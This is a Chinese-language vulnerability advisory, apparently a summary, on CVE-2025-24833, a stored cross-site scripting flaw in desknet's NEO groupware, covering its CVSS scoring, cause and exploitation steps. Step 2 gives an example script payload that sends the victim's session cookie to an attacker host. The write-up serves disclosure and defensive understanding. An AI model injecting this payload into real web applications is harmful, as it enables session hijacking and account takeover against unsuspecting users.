CVE-2025-24833CVE-2025-24833是desknet's NEO协同办公软件中存在的一个存储型跨站脚本(Stored XSS)漏洞,由JPCERT/CC的vultures团队发现并报告。该漏洞影响desknet's NEO从V4.0R1.0到V9.0R2.0的多个版本,覆盖范围广泛,潜在威胁面较大。
desknet's NEO是由日本ネオジャパン(Neo Japan)公司开发的一款企业级群组协作软件,在日本国内市场拥有较高的占有率,广泛应用于企业内部的信息共享、文件管理、日程安排、邮件收发以及电子公告板(BBS)等功能。由于该软件属于企业内部核心协作平台,其安全性直接关系到企业内部数据和用户隐私的安全。
该漏洞的CVSS 3.0评分为5.4分,属于中危级别。攻击者需要具备低权限账户(已认证用户)才能发起攻击,攻击向量为网络传播,需要用户交互(如访问被注入恶意脚本的页面)才能触发漏洞执行。漏洞的成功利用可导致攻击者在受害者浏览器中执行任意JavaScript代码,从而窃取用户的会话Cookie、敏感信息,或以受害者身份执行未授权操作。
根据CVSS向量分析,该漏洞的影响范围为变更范围(Scope Changed),意味着漏洞的影响超出了受影响的组件本身,可能影响到其他安全域。虽然机密性和完整性影响均为低级别,但由于XSS漏洞常被用作钓鱼攻击、会话劫持和权限提升攻击链中的一环,其实际危害不容忽视。
存储型跨站脚本(Stored XSS)是一种将恶意脚本永久存储在目标服务器上的Web安全漏洞。当其他用户访问受感染的页面时,恶意脚本会从服务器端加载并在受害者的浏览器中执行。
在desknet's NEO中,该漏洞的产生原因在于应用程序对用户输入数据的过滤和转义机制不完善。攻击者作为已认证的低权限用户,可以通过提交包含恶意JavaScript代码的内容(如电子公告板帖子、评论、个人资料字段等可输入文本的功能模块),将恶意脚本存储到服务器数据库中。由于服务器端未对存储的数据进行充分的HTML实体编码或安全过滤,这些恶意脚本会在其他用户浏览相关页面时被原样输出到HTML页面中,并由浏览器解析执行。
利用方式如下:
1. 攻击者使用合法凭证登录desknet's NEO系统;
2. 在支持富文本或HTML输入的功能区域(如公告板、日程备注、文件名等)注入恶意JavaScript代码,例如`<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`;
3. 恶意脚本被持久化存储在服务器端;
4. 当其他用户(特别是具有更高权限的管理员)浏览包含恶意内容的页面时,脚本自动执行;
5. 攻击者可窃取会话令牌、进行钓鱼攻击或以受害者身份执行操作。
由于该漏洞需要低权限认证(PR:L),属于已认证用户可利用的漏洞类型,攻击门槛相对较低,在多用户企业内部环境中风险较高。